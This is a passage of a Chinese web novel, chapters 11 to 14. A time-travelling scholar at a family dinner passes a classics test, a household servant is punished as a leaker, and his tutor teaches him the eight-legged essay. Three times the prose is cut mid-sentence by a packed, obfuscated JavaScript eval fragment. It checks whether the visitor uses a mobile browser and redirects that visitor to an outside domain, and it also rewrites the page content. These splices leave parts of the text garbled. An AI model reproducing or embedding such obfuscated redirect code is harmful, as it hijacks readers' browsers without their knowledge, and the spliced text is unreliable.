“儿子没见过世面，倒是觉得这道菜十分适口，太太是淮宁人像是吃不惯京里的菜。” 段成平今日是另有打算，不想和王虞起争执，此时见有了台阶下，连忙吩咐丫头又往段之缙碗中夹了一些鱼片。 “缙儿喜欢吃便多吃些。”他脸上是关怀的笑，又让其他人也赶紧吃饭。 于是大家挂着假笑推杯换盏，段之纬殷勤地为段成平斟酒，又转向段之缙的空酒杯，澄清的酒液将要落下，就被骨节分明的手挡住。 段之缙朝着他一笑，歉疚道：“三弟，我近日身子不适，还是不饮酒了。”青年创业的时候，段之缙一个酒局一个酒局的挨，喝到胃穿孔，之后事业起来了，能不喝就不喝，最后到了滴酒不沾的程度，如今穿越到了书中，也不想喝酒，况且这也不是什么不得不喝的酒。 段之纬却表现得异常奇怪，原本有些阴沉的脸突然浮现出夸张的了然，拖着恍然大悟的语气，跟唱戏似地回应：“知道知道，二哥磕了头之后，这么多年的书都忘了，恐怕晚上还要回去温书。” 他这一句话，叫还暖着的场子骤然冷下，段成平故作诧异的眼神投射在段之缙身上。 11. 第十一章 试探学问 “缙儿……你弟弟说的都是真的？” 听着老爷的问话，施姨娘已经煞白了一张小脸，王虞心中恨得滴血，这么多年来的心血功亏一篑，今日叫这些畜生看了笑话。 “儿子不知道三弟这是从哪得来的消息。”段之缙神态自若，没有一丝的惊慌。 一个捕猎者，如果看见本应该瑟瑟发抖的猎物镇定自若的时候，就会因为“认知失调”而陷入困惑和不安。段成平实在不是做戏子的材料，段之缙这样商场上的老狐狸，如何看不懂他这吏部十几年员外郎的心思。因此当段之缙故意挑着眉，用戏谑的眼睛扫视这原本胜券在握的父子二人之时，他们的表情出现了一刻的茫然。 “儿子是磕着头了，可不是一个多月前就好了吗？今儿三弟如何这般关心二哥，说些失忆了的话。” 段之纬慌张地看一眼陈姨娘，陈姨娘淡定的点头给了他一些底气。 “二哥，您就别隐瞒了，这个事儿我知道后，也是不可置信，怎么我二哥这样好的人佛祖不保佑，偏偏叫他在考试前把学到的东西都忘了呢？咱们都是一家人，你有困难，父亲难道还能不管儿子吗？弟弟也记挂着你呢。” 段之缙更是一派匪夷所思的表情，“三弟，二哥问的是，你从哪得来的消息，说我把书全都忘了。” 段之纬正犹豫着，段成平把手中的酒杯轻磕在桌子上，发出一声清脆的响，厉声呵道：“够了！亲兄弟，吵闹些什么！缙儿，不管你弟弟是从哪里得来的消息，他也是关心你才问的。你只管说，你是不是把书全忘记了。” “老爷，我若是忘了要如何？” 段之纬有些欣喜地回头看了看陈姨娘，又被瞪着眼催，叫他赶紧说话。 “二哥，若是您忘了，老爷……不对，太太自然要重新给您请先生，把学问先拾起来，循序渐进，就算是十年二十年，总归有下场的一天。” 重新请先生？ 段之缙听着他的意思，心下冷笑，用个时髦的话来说，秦先生还是个万人迷呢，上次在书房里折腾了一顿不成，现在又来这一遭。怎么，他自己的先生教不了他？于是难掩脸上的悲痛，“可秦先生教了我足足八年，若是辞了他，日后要如何呢？” 段之纬终于憋不住了，那点儿小心思全然暴露出来，“咱们家自然不能吃这个亏，束脩都是一年一年地交，今年的束脩已经交了，不如叫秦先生来教导弟弟呢？他是有学问的人，若弟弟下场能中，也有二哥的一份功劳不是？” 王虞听到这儿才算知道了这场“鸿门宴”打的哪门子算盘珠子，自己倒了一盏酒一饮而下，冷笑道：“怪不得呢……今天叫我们这些外人来跟你们一家人吃什么团圆饭，感情是算计到我头上来了。秦先生是花我的钱请的先生，要辞了他也得我辞，要如何也要我发话，哪有你们吱声的道理！” 她这话一出，段之纬是晚辈，又是儿子，不能和太太顶嘴，陈姨娘虽然受宠又是有手段的人，但王虞更不是善茬，对上她绝没有占便宜的时候，于是眨巴着泪水盈盈的眼睛看段老爷，又低下头去，肩膀掉下，一副心力交瘁、大失所望的模样。 “妇人之见！纬儿、缙儿，他们哪一个不是你的儿子！日后无论是谁高中了都能叫你风风光光的，何必总把希望放在缙儿身上，纬儿也是孝顺孩子，他今日所思也是为了你这个母亲，你怎么这点儿道理都想不明白？” 王虞斜飞的凤眼里刺出来怨毒的光芒，狠狠扎在段成平身上，“你少拿出来你是男人、是丈夫的架势来压我！我不怕你！告诉你，我认谁，谁才是我的儿子，其他的就是路边的泥，我光见着都嫌脏！” “你！”段成平气得身子乱抖高高举起了手将要掌掴王虞又被施姨娘和段之缙挡在身前。 段之缙一提衣摆跪下，恳求道：“求老爷歇歇气，今日全是儿子惹出来的祸端，拖累着老爷和太太吵架，要杀要剐，请老爷冲着儿子来吧！”语罢，又含着热泪转向段之纬和陈姨娘，泣道：“老爷和太太是父母之尊，姨娘是生我之人，让至亲至重者因我不肖起了争执，已属大不孝，老爷要杀要剐，儿子也只有认的份。不过我还是想知道，三弟是从哪儿得来的消息，说我磕到了头，将习的书全忘了？” “你……二哥，你刚才不是已经承认了吗？”段之纬见矛头又转回他这里，惊得一个寒颤，结结巴巴地出声。 段之缙一脸迷惑，蹙着眉回道：“三弟何出此言，我几时承认了我失忆了。再说哪有失忆只忘了书还记得人的，我从来没朝着你问过‘你是谁’的话吧？” “我……我……”段之纬原本对得到的消息深信不疑，最开始发问，段之缙一脸淡然就已经叫他心里打鼓，如今更是战战兢兢，不住地看向陈姨娘。 陈姨娘粲然一笑，“瞧瞧你们父子兄弟的，闹得乌眼鸡一样，忘没忘的，考考学问不就知道了？何必在此争吵？若是没忘，自然皆大欢喜，若是忘了，咱们也早做打算。” 段之纬听他亲娘一说，有了主心骨一般点头，段成平摆起家主的架势拍了板儿，“好，就这么办！试一试便知道了。” 段之缙没有一点儿的惊慌，一脸胸有成竹，“老爷、姨娘，您二人是缙儿的长辈，缙儿自然是要听从，只是还是那个事，三弟这个消息是从哪儿得的？怎么如此笃定，我一定是把书忘了？” “好了，先试试缙儿的学问，这些事儿之后再说。”段成平出声打断，王虞一声冷哼道：“凭什么便要听……” “太太，叫老爷试一试儿子的学问也无妨。”段之缙回头镇定自若，打住了王虞的话。 “便试一试《春秋》如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14906004|160152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何？” “全凭父亲做主。” “好！”段成平拢一把自己的山羊胡子，思考一番问道：“论‘郑伯克段于鄢’所示一家之事与一国之政的关系，能否？” 段之缙点点头，又摆出一副为难的样子，“老爷，这儿一桌的酒菜，总不能叫儿子当场撰一篇时文出来吧？儿子大体说一些可否？” 段成平瞧了瞧周围的环境，应了下来。 “郑伯克段于鄢”，郑庄公的事情，段之缙还真知道，也不必先套话了。 他稍作思考，将最近学的四书全都罗织一番，缓缓开口道：“《左传》载‘郑伯克段于鄢’，实为春秋之鉴。一家之伦理与一国之政治紧密关联，可见家族乃国家之基，伦理失序，必致国政动荡。郑庄公之母武姜，偏爱次子共叔段，恶长子庄公，欲废长立幼。此乃家族伦理之失序。《大学》曰：‘齐家而后治国。’家不齐，何以治国？武姜之私爱，种下祸根。郑庄公即位后，武姜为共叔段请封地，庄公许之。然祭仲谏曰：‘都城过百雉，国之害也。’ 庄公不听，还是答应了其母的乱法之请。此乃家族私情与国家制度之冲突。《孟子》云：‘徒法不能以自行。’法度虽在，私情乱之，国何以安。” 讲到此处，他顿了一下，又思考一番接着回道：“共叔段得封后，渐生野心，命西鄙、北鄙贰于己，又收贰为己邑，甚至缮甲兵，欲袭郑。庄公初忍之，曰：‘多行不义，必自毙。’然终不得不出手，伐段于鄢。此乃家族纷争蔓延至国家政治，不可不制。夫家族伦理，乃国家政治之根基。《论语》云：‘孝弟也者，其为仁之本与！’共叔段不弟，庄公失教，母子兄弟相残，此乃不孝不弟之极。家族失序，国家亦难安。《大学》云：‘身修而后家齐，家齐而后国治。’后世治国者，当以孝治家，以德治国，方能长治久安。” 他这一番论述，已经完全超乎了父子二人的预料，两人面面相觑，都是一脸尴尬。 王虞虽听不懂段之缙到底说了些什么，可光瞧那两人的脸色就很明白了，拽着段之缙从地上爬起来，讥讽道：“也不知道我这个好儿子没失忆，有没有人失望了。” “你这是什么意思？”段父闹了今天这么一遭，目的也没有达成，太阳穴一抽一抽的痛，总归是不舒服，王虞尖利的话语声一响起来，他脑子又嗡嗡直鸣。 “从来没有人想要缙儿出事，大家都是关心他才有此问。” “段成平，我不与你争吵，我只问纬儿，你二哥磕着脑袋不习得书的事儿，你的消息怎比我都灵通？可见我这个做母亲的关心儿子，不如你做弟弟的关心兄长。” 段之纬外厉内荏的东西，刚听到段之缙娓娓而谈的时候便已经脸色苍白，现在被嫡母质问更是手足无措。 “太太……我……我……” 12.第十二章 背主之人 “他每日读书学习，准备着县试，哪儿能记得那么多事？也不知道是哪儿听来的风言风语，真是不知所谓。你个不争气的东西，读书赶不上你二哥就算了，太太膝下没有儿子，亲自教养他，你二哥比你强是自然，可你怎么连个话都听不明白，记不住？姨娘知道你敬爱二哥，关心则乱了，只是日后做事三思而后行才是。”陈姨娘半倚着桌子，嗔怪地拍了一下段之纬的背，力气也没有多少，话音刚落下，眼波流转，望到老爷那里去，声音百转千回，“老爷，你瞧瞧你的好儿子，没他二哥半点儿稳重劲儿，很该重重罚他一次。” 段成平哪里舍得罚段之纬？摆出一副严父的姿态，恶声恶气地训斥道：“纬儿，你造作出来的事端！什么时候才能长大，如你二哥一般稳重？为父罚你抄《孝经》，你可有意见？” “儿子认罚。” 高高举起，轻轻放下，一本《孝经》才不到两千字，这也算是惩罚？ 段之缙心里暗讽，面上却是感动非常，“三弟如此关心二哥，想必也是十分想要抓住那满嘴胡言的人，二哥想问你几个问题，看看能不能抓到些蛛丝马迹。” “二哥想问什么？” 段之纬心里紧张，陈姨娘瞧这个没成算的儿子，简直想掩面痛哭一番，怎么就叫她这样聪敏非常的女人生下了这样的谬种。 “二哥想问一问，这个消息听见的时候，是在哪个地方？” 段之纬嘴唇翕动，“这……这，弟弟也忘了。” “你二哥我忘了书的事儿你现在都记得，偏偏在哪儿听见的忘了。按理说这么大的消息，当时的情景三弟应当全刻在脑海中才是啊。” “弟弟我是真记不得了，当时也是十分诧异，赶紧回了院子。” 段之缙轻笑：“那就是弟弟偏听偏信，连求证都没有求证一番便拿这个事儿质问于兄长了？” “没……”段之纬磕磕巴巴，将要说话却被陈姨娘打断。 “什么叫质问啊缙儿，这可不是质问，这是弟弟时时刻刻把你放在心上。你三弟做事不妥当，又好大惊小怪的，从小便这样，你做兄长的难道不知道吗？”陈姨娘笑意盈盈地看着段之缙，三言两语就推到了段之缙为兄不友，不关心弟弟 “怎么敢承姨娘的这句话，三弟连真相是何都没有弄清楚便贸然断定我这个做二哥的不能科考了，又惹出了今晚这些乌烟瘴气的事儿，倒是十分友爱兄长呢。” 段成平今天失了面子，已经无力再去管些什么，头又痛得很，只靠在椅子上揉着额角，王虞作壁上观，看陈姨娘吃瘪的样子心里暗讽，其他的孩子大气都不敢出，因而谁也没注意到大妹妹段云熙，也就是段之纬的一母同胞，已经泪水涟涟了。 她终于忍受不住，朝着段之缙抽抽嗒嗒地求道：“二哥，妹妹求你不要再为难姨娘和三哥了，今日全算作是我的错成吗？我把我攒下来的月钱全都给二哥，替三哥赔不是。” 段之缙听着人家小女孩哭哭啼啼，立刻住了口，审视了她一番才蹙眉道：“怎么能算作是你的错？国有国法……” “好了！”原本安静看戏的王虞打断了段之缙的话，正色道：“今天闹了这么长时间，该是闹够了，到此为止。老爷，叫我们都散去吧。” 段成平也是忍受不了，连连挥手叫他们都退下，自己要安静一番。 老爷太太都发了话，大家做出一番客客气气的模样，也都结伴离去。 前边许嬷嬷提着灯，施姨娘伴在夫人身侧，段之缙和沈白蘋夫妻二人坠在后边，小声说起来方才的事。 段之缙向来“人不犯我，我不犯人”，但是若有人故意找麻烦，他也没有一点儿怕的，今天十分功力还没有用出来三分，就被王虞打断，心中总归有些气，于是三步做两步，也走到了王虞的身边。 “太太好良善的心肠，儿子受了刁难也能一笑置之，气量不是我等能想象的。” 施姨娘在旁边听着，两道柳叶眉皱了起来，拽着段之缙的衣袖嗔道：“你怎能如此跟太太说话？快退下去。” 王虞却不动气，瞅了他一眼，无喜无悲，“你也别在这儿说不中听的，去你姨娘身边说说话才是正经事儿，少在我身边儿粘着。等会儿许嬷嬷跟着你去致知斋清理门户，这个消息一定是你院子里伺候的人传出来的，等着抓住这个吃里扒外的畜生，定要好好处置！”许嬷嬷低着头应是，仍是提着灯往前走。 段之缙感受到她语里的狠意，却没有多想，因为此时他还没有真的认识到，他生活的这个世界，已经不是人人平等的世界了。 他所见到的尊卑只是小打小闹的尊卑，掌掴、训斥似乎已经到了头，谁又能说致知斋不是太太为他营造的伊甸园，他只要能安心读书，便能获得一切。 段之缙和施姨娘走在一块儿，这些昏天黑地地读书，总归也还十分地惦念姨娘，这会儿说上话了问个不停。 “姨娘这些日子出门有人跟着吗？” 施姨娘拍拍他的手，叫他放心，“我身边还是有一个小丫头伺候的。再说了，姨娘除了伺候太太，也没有别的事儿，也不用出主院呀。” “还是小心为上，避着些水边，就算万不得已走在水边，也要小心脚下。” 段之缙唠唠叨叨的，施姨娘倒不像他的娘了，反而段之缙像是施姨娘的爹。 姨娘拿帕子捂着嘴笑，“得了得了，比我们这些无事可做的人还能絮叨呢。咱们家除了老爷的望月堂有个小池塘，哪儿还有水呢？我去望月堂，也是跟着太太去的，哪能出什么事儿？” 望月堂？ 那个疑问再一次出现在段之缙脑中，为何就是如此的凑巧，偏偏是在临考前，偏偏是一个在水乡长大的人淹死了？ 这究竟是意外，还是真的有人在谋算什么？ 就这么想着脚下的路已经延伸到了主院的院门口，王虞站定回头看着几个走在一起的人，吩咐道：“施姨娘，跟我一块儿进去吧。许嬷嬷跟着缙儿去致知斋，把我吩咐你的事儿办了。” 段之缙看着姨娘拾步上阶，又望向王虞，“太太，我自己院子里的事儿，还是叫我自己处置吧。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14907279|160152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你处置？你要是能处置还弄得出来今天这一遭？你媳妇也是个没用的，下人也管不住……” “太太误会蘋儿了，她如今帮着我读书，也是疲惫不堪。”段之缙瞧王虞瞪着眼又要开始训斥妻子，连忙打断，又招呼着许嬷嬷赶紧走，处置了事情好睡觉去。 片刻后，本应该熄灯沉寂的致知斋里灯火通明，总共十几个下人被聚在正院里，连带着沈白蘋身边的春华、秋实两个小丫头，并上段之缙身边的书童松烟都和大伙站在一起。 其实嫌疑人只有三个，就是贴身伺候的丫头和书童。但叫其他人站在这里，是为了叫他们长个记性。 “今儿二爷被老爷训斥了一顿，连秦先生也差点指配给了三爷。只是有一个事儿奇怪？怎么三爷知道二爷那么多的事情呢？是你们谁背了主，自己站出来！”许嬷嬷身边站着两个结实的家丁，手操大棍，又在地上摆了一条长凳，显然是一副要动刑的模样。 “嬷嬷，不要动私刑逼问，左右没出什么大事儿，抓住了之后赶他出去也就罢了。”段之缙看见这些东西便皱眉，泄密或者说暴露他人隐私这种事儿，现代有民法和刑法处理，但是古代动用私刑的方法，他现下实在不忍心看，于是出言制止。 许嬷嬷俯身应道：“二爷真是活菩萨了，真是这些奴才好命才遇上您这样慈悲的主子，今天这样大的事儿都不计较。二爷放心吧，嬷嬷心里有数，必不会闹大弄出人命来。如今天都黑透了，明儿还要早起读书，二爷跟二奶奶还是先歇息吧，嬷嬷一个人处置好了就回主院。”她语毕，招呼家丁把东西都撤下去，不要吓着人。段之缙看这里也没了“刑具”也就带着沈白蘋回了房，旷大的院子里只剩下下人和许嬷嬷。 可是一转脸，原本和蔼的妇女就变了一个人，苍老的脸上一丝表情都没有。 “二爷是读书人，见不得血腥气，我做奴婢的还是要听主人家的话。既然如此，我也不打你们，不骂你们，你们自己检举揭发，只有两刻钟的时间，若是没有找到那个吃里扒外的东西，我就跟太太禀报，叫人牙子来把你们都发卖了！” 下头的人面面相觑，段宅的主子虽然闹成了一锅粥，但是对下人们还是仁爱的，从来不故意刁难人，若是被卖了出去谁知道以后会遇上什么样的主子？再者这些人中不少是王虞从王家带来的家生子，要是被主人发卖，日后便再也见不到亲爹娘，骨肉分离之痛如何能忍？因而一个个绞尽脑汁地回想，生怕叫别人连累了自己。 春华秋实二人自然是不怕，她们平时都是在二奶奶身边伺候，不是在二奶奶眼皮子底下，就是吩咐其他的丫头小子办事儿，不会叫任何人抓到把柄，也没有任何把柄能抓。 而此时，这个院子里前程最远大的松烟却是战战兢兢，大热的夏天流了一脸的冷汗，在众人里边格格不入。 “嬷嬷，你看松烟！”一个长相伶俐的小丫头突然指着松烟大喊，吓得后者打了个哆嗦，腿一软跪在了地上。 许嬷嬷缓步上前，挂着冷笑拽住松烟的领子，“你瞧瞧你，怎么吓成这样？” 13.第十三章 习学八股 “嬷嬷！嬷嬷！真不是我！”松烟涕泗横流，他是王家的家生子，父母跟着太太到京，在京里才生下了他，从小在主院里长大的，自然知道许嬷嬷的手段，因此不断地磕头解释，“若是我有一分二分背主的心思，就叫我被雷劈死！” 鬼神之事如何取信？也或许是他拿老天起誓合该遭报应，后边一个十四五岁的小伙子眼睛突然一亮，确信自己想起了要紧的事儿，从人群中走出来，凑到了许嬷嬷的耳边说道：“嬷嬷，我记得之前二爷晚上要冰水唤松烟哥，松烟哥不知道去哪了好长时间才回来。” 松烟原本清秀的面貌被磕出来的血污染地狰狞，几近嘶吼道：“我就不能去茅房吗！” “那你怀里丁零当啷的装着什么？”小伙子立刻反问。这么一说，众人也纷纷回忆起了松烟的不对劲，没一会儿许嬷嬷便确定了就是松烟小子把二爷的事情透了出去。 也是，这个事儿只有贴身伺候的人知道，虽然二爷总是出来背书，可他们哪知道这是因为二爷忘光了呢？ “嬷嬷……嬷嬷！饶过我这一回吧，我真知错了……”松烟泪流满面，抖着唇不断地祈求，“都是三爷身边的松香来引诱我的，说要是有重要的事儿告诉他，陈姨娘给我五十两银子……” 许嬷嬷冷哼一声，“五十两就把你二爷卖了？太太也给你五十两，买你这一条好舌头！”最后一个字眼儿轻飘飘地落下来，许嬷嬷回头使了一个眼色，两个家丁沉默上前，捂着松烟的嘴将他往外拖，松烟因为恐惧惊慌地蹬着两条腿，拖动出来的痕迹被腥臊的液体浸透。 看着战战兢兢，甚至捂嘴悲泣的小丫头小伙子们，许嬷嬷严正道：“咱们做下人的，主人家也不用咱们豁出命去护着，只是叫你们别随便乱说话。记住了今天松烟的教训，否则下一回可不是割舌头了！刚才那个小丫头，你以后跟着我去太太身边伺候，至于你嘛……”她打量了一番挺着胸膛的小伙，满意地点了点头，问道：“你是后来买进来的，还是太太的家生子？” “回嬷嬷，小子叫王章，爹是王长贵，跟着太太来的京城，在这儿和娘成亲才有了小子。” 许嬷嬷更满意了，拍了拍他的肩膀，“先跟我回主院吧，若是太太也满意，叫你顶了松烟那个小杂种。你们其他人都散了吧，只是得记清楚了，二爷是慈悲人，听不得血腥话。” 第二天早上，段之缙还是寅正时分起来的，天刚透出来些光，迷迷瞪瞪地掀起月影纱床帐子，一个有些眼熟的小伙子就殷勤地为他披上了外袍。 “二爷，今天早上还有些冷呢，先披上外衣，省得着凉。” 段之缙审视的目光在他身上扫来扫去，接过漱口的清水涮涮嘴，吐到了小痰盂里。 “松烟人呢？” 王章捏捏自己的衣角，“松烟……松烟哥被许嬷嬷赶出去了……” 话也不必说得全然透亮，一切都尽在不言中，原来那个把自己卖给段之纬的就是松烟。只是自己平时并没有薄待他，为何要将主子的事情透出去呢？ 段之缙疑问道：“松烟为什么这样做？” “松烟哥只说是陈姨娘答应给他五十两银子，他这才……” 段之缙点点头表示知道了，其实也理解得很，《红楼梦》里二十两都够一家人吃用一年了，五十两想必也是一笔巨款。 再想无益，段之缙问明白新来书童的名字，赶紧收拾了一番便去正堂默书，等着秦先生到来。 秦先生断然离不开他的烟斗，用他自己的话来说，“可一日无酒，不可一日无烟”，一进正堂坐定，就到处找松烟，结果段之缙身边跟了个眼生的小子，他一个聘来授书的先生，不好多问，只招招手吩咐道：“书童，过来为我点烟。” 王章走过去，没一会儿正堂里吞云吐雾，“仙气”缭绕，深吸一口好不快活。 秦先生喟叹一声，又瞧瞧偷笑的段之缙，“你还敢笑呢，若不是为了给你授课，先生我一天睡四五个时辰，也就用不着这些东西提神了。”说道此处，他神秘一笑，“你别小瞧了这些烟丝，改明儿为师也给你弄一个，你一用便知。” 段之缙连连摆手，他现在上课拒绝不了二手烟，可是一手烟他是绝对不抽的，到时候顶着一嘴黄牙当了官，简直有损朝廷的体面。“这样的好东西还是先孝敬给先生吧，学生自己能顶住。” 秦先生不以为意，掀开了一本书看一眼，抬头说道：“四书学完了，自己勤加温习，不要撂下爪子就忘。今天先不讲《尚书》，先讲时文怎么写。” “时文，又称八股文，发端两句为破题，而后承题、起讲，起讲后排比对偶，接连而八，故曰八股。总而言之，一篇文章，破题、承题、起讲、入题、起二比、中二比、后二大比、末二小比这八个部分一定要有，且既不能多，也不能少。” “第一步破题，解释题目。此中前辈圣贤，绝不可直指其名，孔子称圣人，尧舜称帝。这破题也有讲究，明破、暗破、顺破、逆破、正破、反破、分破、对破几种破题的方式，要是题目长，诀窍在于简单概括，要是两句搭起来的题目，破题时就要浑融一体。题目宏大你便要冠冕堂皇，题目小巧你就要灵气精妙，不过重点都在于扣住题目的要旨。至于要旨嘛，起承转合，你就算是胡编乱造，也回到朱子的教训上。” “下一步承题。承就是承接，是要扣住你破题的要旨承接下来，但是一定记住，正破用反承，反破用正承，顺破用逆承，逆破用顺承，你要是顺着破的顺着承，逆着破的逆着承，全都完蛋。当然，承题这一步的时候，可称尧舜为尧舜，称孔子为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14909829|160152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孔子，不必再忌讳些什么了。” “再一步，起讲，开头要用‘意谓’、‘若曰’、‘以为’、‘且夫’、‘尝思’等语，十句上下，起承转合，排语、散行皆可，可排偶比之散句更受考官的爱见。” 段之缙记笔记的手一顿，“先生，为何排偶比之散句更受考官的喜欢？” 秦先生叹一口气，“你以为所有人都是安平县知县那样的考官？你们这些童生的试卷，他每一份都细细看，可其他的考官，乃至府试、院试的许多考官，大多数是大体看看，只要不是异端邪说就行，此种情况，最重要的难道是你写的文章有多么高深吗？其实不然，一篇文章，一打眼看上去，只要字写得好，就过了第一关，然后便是辞藻华丽，文采斐然者为胜。至于至圣先哲的教训，只能说对得上即可，‘为往圣继绝学’之事，到底不比功名利禄动人心啊！”他说完这些话，疲惫地捏了捏鼻梁，感慨一番世风日下，当今天下竟无一个韩昌黎，能够“文起八代之衰”，现在那些所谓的大家，写那么多“美”文章，引得士人也争相效仿，更使文坛一片杂乱文章。 段之缙听着，心渐渐沉了下去。他一个现代人来到这本书里，是靠着嫡母供养，兼之自己也肯下苦功夫才能几十天学完四书，并给经书起了个头。若如那些贫苦的士子，白日里要干农活、抄书，晚上才得挑灯夜战，又没有秦先生这样的老师教导，别妄想能够几个月读完书。 可一个现代人，终究是比不得土生土长的士子，段之缙习写文言文都已经愁得脑袋疼，如何能在华美用句上比过那些同他一样锦衣玉食之人？本来想着，虽说时文每一篇都要写朱子教训，可自己到底是学过政|治课的人，到时候把现代的思想和朱熹的教训融合在一起，未必不能以观点取胜，现在看来，纯属异想天开。 “先生，散句也能写出妙处吧，难道无一人能以散句笔下生花？” “你小子，说的轻巧，排偶本身便对称呼应，于字里行间有古韵律之美，散句轻易难得啊。人家排偶一出，光品读便要比散句更胜一筹。” 原来如此……不过，段之缙还是要问清楚，散句到底是不能得中还是得中的少。 “先生，学生还有一问，往届之中，不写排偶是不能得中，还是得中者较少？” 秦先生细想一番，“不全然写排偶之人，也能够得中，只是较少。县试的阶段你还不用担心，只要你能啃下来这些书，到场上扣住题目，文章辞藻差些也无妨，此任的县令并不十分喜好华美之文，也不是流于表面的肤浅之人。” 此番话却没有如何安慰到段之缙，因为过了县试还有府试，过了府试还有院试，日后想要叫太太得封诰命，非得为一番事业才行，而今过县试都得靠得遇认真负责的主考官，日后又当如何呢？ 14.第十四章 夜梦难醒 如今已经十一月十三了，只是今年的雪晚些，还没有下过。 寒冷的西北风夹杂着沙土，打在人脸上如刀割一般，即便是这样的天，偏房的灯还是孤独地亮着，与漆黑夜空中闪亮的盈凸月相伴，一个为刻苦的读书人送来光明，一个为归路上的行人送去清辉。 按理说一日一日地苦熬，书总该是越读越薄，可段之缙翻来覆去，只觉得书愈发厚重，做了无数的时文，总是差点火候在。漂亮的排偶，也不是做不出，典籍史论用得头头是道，再妙的金石珠玉，叫段之缙一堆砌，细细品来还是死东西，用他自己的话说则是“铲子切菜——不地道（抵刀）”。 拿着自己熬夜做出来的八股文递给秦先生，秦先生每日看他写的这些东西也是头疼，“缙儿，不是为师说你，怎么章籍典故没少用，朱子教训也没跑偏，就是……就是……”秦慎之想了半天也想不出什么形容词，最后灵机一动一巴掌拍上脑瓜子，“不像是人写的！” 屏风后忍耐的笑声传出来，真叫段之缙无所适从，“先生，我自己也知道，可是改了无数遍，还不对味儿。先生，学生想听听您的经验之谈，这东西，是勤学苦练能练出来的吗？” 秦慎之抽搭两口烟枪，吐出一圈一圈的白雾，“为师看你的文章，少说也有几十篇了，你知道你最大的问题在哪吗？” “愿听先生之见。” “你根本不适合写排偶。”他面上一片严肃，烟斗点点纸上的散句部分，含着一丝欣赏，“可圈可点。”然后烟斗嫌弃地点了点排偶的部分，表情难以形容，“不堪寓目之作，看得为师都难受。” 段之缙心中发紧，“可是先生，您不是说排偶在科举考试中更占优势吗？” 秦先生被自己的烟呛地咳了几下，哑着嗓子回道：“好酒不怕巷子深，好文章却怕传不出去。为什么那么多雄文被庸碌之词埋住，就是因为阅卷的人有可能连个秀才都不是。你要知道，县官县官，父母之官，每天忙里忙外的那么多事儿，哪有功夫去看你们这些小小生童的卷子？叫底下的师爷看看得了。那些师爷是什么水平？有的水平只够认字，看见这篇文章里的生僻词汇多，他就觉得是好文章。有些人的水平也就是读过了四书五经，连朱子教训有那些都记不清楚，瞧见标新立异之说便惊为天文，读不通你文章里的意思，因此选些看似华美的卷子上去。” 段之缙若有所悟，“那先生的意思是？” 秦先生故作高深地捋了捋胡子，“为师的意思是，既然要投机取巧，那就彻底地抓住这次好时机！安平知县李显光，二甲进士出身，要说秀才不是人人都有真才实学的话，进士可不能弄虚作假了，他为人又清正，视取士为第一等的朝廷要务，全县少则小一百份，多则几百份答卷，他都亲自看，亲自阅，若你能将散句练到浑然天成，他看了之后未必不能替你传出声名，倘若能叫德平府知府和淮宁学政听闻，那便有几分把握让他们特意去找你的卷子看。知府和学政，也都是饱读诗书之人，只要你的题目的确解得好，就算不能名列前茅，也必不会叫你落第。” 原来如此！ 段之缙站起深鞠一躬，“学生佩服！那学生日后勤往这个方向攻！” 秦先生瞧他气势十足，没有一点儿畏难的神情，满意点头，“有志者事竟成。以你现在长进的速度，只要能够熬过这段日子，县试必中！只是要小心，行百里者半九十啊。” 一番语重心长的劝告，叫段之缙松快下来的心又绷起来，现在只剩下三个月的时间了，前方路漫漫，不但要把史书全通下来，还有研究知县多年的行政思想和出题偏好，任务实在是艰巨。 “为师想过了，现在已经十一月，运河已经结上了冰，咱们走陆路得一个月才能到安平。再者，读万卷书行万里路，想必从京城到安平的山河景色，也能叫你增长不少的见识。因此今儿授完书，明天也不上课了，去和你的母亲、姨娘和妻子好好道别，若是一切顺利，再回京情景可就大不相同喽。”秦先生眨眨眼睛，语气里是鼓励和暗示。 段之缙心里感激非常，这四个月里不仅自己苦熬着，先生花费的精力并不比自己少，宽严相济，犹如父母，得遇此良师，可以说三生有幸了。 师生二人相互勉励一番，又开始了一天的学习。 等到了晚上，这也是四个月来的头一次，段之缙久违地跟自己的妻子躺在同一张床上，旁边传来陌生的、清浅的呼吸声，一种奇异的情思在慢慢涌动。 并非男女之情，或许是朝夕相处的感激和默契，段之缙已经习惯了早晨或冷或热的干净帕子铺在面上，晚上摆在桌旁的一本笔记，里边每一个簪花小楷全是沈白蘋一日的心血。 她是一个无声地帮助者，可她的确又什么也得不到。 “蘋儿，这四个月若没有你时刻帮着我，还不知道要空耗我多少气力。可是，我竟然也不能回报你什么……你若是有什么要求，或者想做什么事情，尽管开口，我定然竭尽全力。” 沈白蘋的呼吸声一顿，又变得急促起来，她似乎在隐忍，在压抑。 